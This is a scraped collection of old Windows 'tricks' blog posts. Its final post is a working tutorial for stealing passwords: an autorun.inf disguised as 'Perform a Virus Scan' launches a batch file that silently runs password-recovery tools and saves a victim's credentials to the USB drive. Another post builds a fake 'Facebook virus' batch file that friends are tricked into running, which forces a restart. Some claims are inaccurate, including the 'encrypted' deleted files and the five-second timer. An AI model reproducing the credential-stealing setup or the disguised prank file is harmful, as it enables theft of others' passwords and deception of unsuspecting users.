Now go to saved directory and right click it and "set as background". You can not suppose to close your video it should be minimized

Now you will see your video run as background wallpaper. It has no controls.

How To Recover Your Deleted Files

2012-07-08T23:30:00.001-07:00

Have you accidentally delete your files or folders from your computer .
Today I Blog on How to Recover Your Deleted Files, even deleted from your recycle bin.
The files you deleted from your computer goes to recycle bin.
If you delete the files from your recycle bin,
even the files remain on your hard disk in the encrypted form.
To recover the files from your hard disk you need a tool
Ontrack Easy Recovery. This is a tool to recover your lost files.
It is very easy to install and recover your files.
it took some time to scan for deleted files.
You do not have to do any thing, all work is done by this professional tool.
thanx.

Create Facebook Virus and Send to Your Friends

2012-07-07T06:04:00.001-07:00

Here I will show you how to create a Facebook virus simply using cmd . And you can send it to your friends and make fun of that.

In this tutorial I will show you how to make Facebook virus using command prompt.

When he/she will double click on your file.
This will make the victim think they have got a virus.
1) Open notepad
2) Type this in :
@echo off msg * WARNING VIRUS DETECTED!!!!!
AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!
TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!
PAUSE
shutdown -r -t 300 -c ―SORRY!!!
YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED!!! PLEASE WAIT ..........."
3)Save as "facebook password breaker .bat"
4) Send it to your friends and say them it can break Facebook accounts
When your friend double click it a message will open and their computer will restart. After five seconds windows will restart, that is all. This is totally harmless and will give you a laugh.

According to Einstein “There are two things which have no end, one is UNIVERSE and second is Human‟s STUPIDITY”. So don‟t be a fool never click on any file sent through chatting. And keep one thing in mind that hacking can only be done through your mistakes”

Hide Drives in My Computer

2012-07-05T03:19:00.002-07:00

HIDE VOLUME

This is yet another trick you can play on your geek friend. To disable the display of local or networked drives when you click My Computer go to :

1. Start--> run

2. Type "regedit" without quotes and hit ENTER.

3.Locate the key
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer

Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item.
It's .reg file is as follows:
Copy this content in notepad and save it as HideDrives.reg.
Double click it and your drives will hide.

REGEDIT 5.0
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDrives"=dword:3ffffff

NOTE-:

Press and hold f5 for some time, bcz it need more refresh.

SET PEN DRIVE's BACKGROUND IMAGE

2012-06-18T02:57:00.000-07:00

Here is a simple trick to set jpeg image to your drive or Pendrive background.
Follow the steps as it is -

1. Open Notepad copy-paste the following code to your Notepad.

[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
IconArea_image=MyPic.jpg
IconArea_Text=

2. Save this as 'desktop.ini' without quotes in that drive whoes background you want to change.
3. Now paste an jpeg image to that drive and rename it as 'MyPic.jpg'.
4. Close the Explorer and then reopen it or you can simply refresh the explorer.
Now go to your Drive and see how nice it look.

NOTE-:

You can rename the image as you will. Here in this code the image name is 'MyPic.jpg'.
The image name in desktop.ini file should same as of image name.
Both files 'desktop.ini' and 'MyPic.jpg' should kept in same drive.
This Trick can only work in Windows XP.

MAKE FOLDER TO RECYLE BIN

2012-06-16T01:56:00.002-07:00

You can make your folder to recycle bin to hide your data for another user .You just have to follow the steps.
1. Open note pad and type the following CLSID code.
[.shellclassinfo]
CLSID= {645FF040-5081-101B-9FO8-00AA002F954E}
2. Save it as “desktop.ini” in your folder which you want to change into
recycle bin.
3. Open command promt by goto start-->run and type cmd (press enter).
4. Type the following command in command promt:
D:
D:\>attrib +a +r +s data /s /d
Exit
Here my folder name is data in D: drive.
Now go to your folder it will converted into recycle bin.

To restore your folder to normal apply this command in command prompt
D:
D:\>attrib -a -r -s data /s /d
Exit
Enjoy the trick ..............

Sniff Passwords Using USB Drive

2012-06-16T01:14:00.001-07:00

Steal password using following tools.

1. Copy all these files into your USB Drive.

• mspass.exe

• mailpv.exe

• iepv.exe

• pspv.exe

• passwordfox.exe

2. Create a new Notepad File and write these lines

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

3. Save the Notepad and rename it from New Text Document.txt to autorun.inf
4. Now copy this autorun.inf file into your USB pen drive.

5. Create another Notepad File and write the following text into it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

6. Save the Notepad and rename it from New Text Document.txt to launch.bat
7. Copy the launch.bat file also to your USB drive.

Insert the pen drive and the auto run window will pop-up. (This is because, we have created an auto run pen drive).

In the pop-up window, select the first option (Perform a Virus Scan).

Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds).

The passwords get stored in the .TXT files. Remove the pen drive and you’ll see the stored passwords in the .TXT files in yor pen drive.
you can download these tools from http://www.nirsoft.net/.....
enjoy cool hack...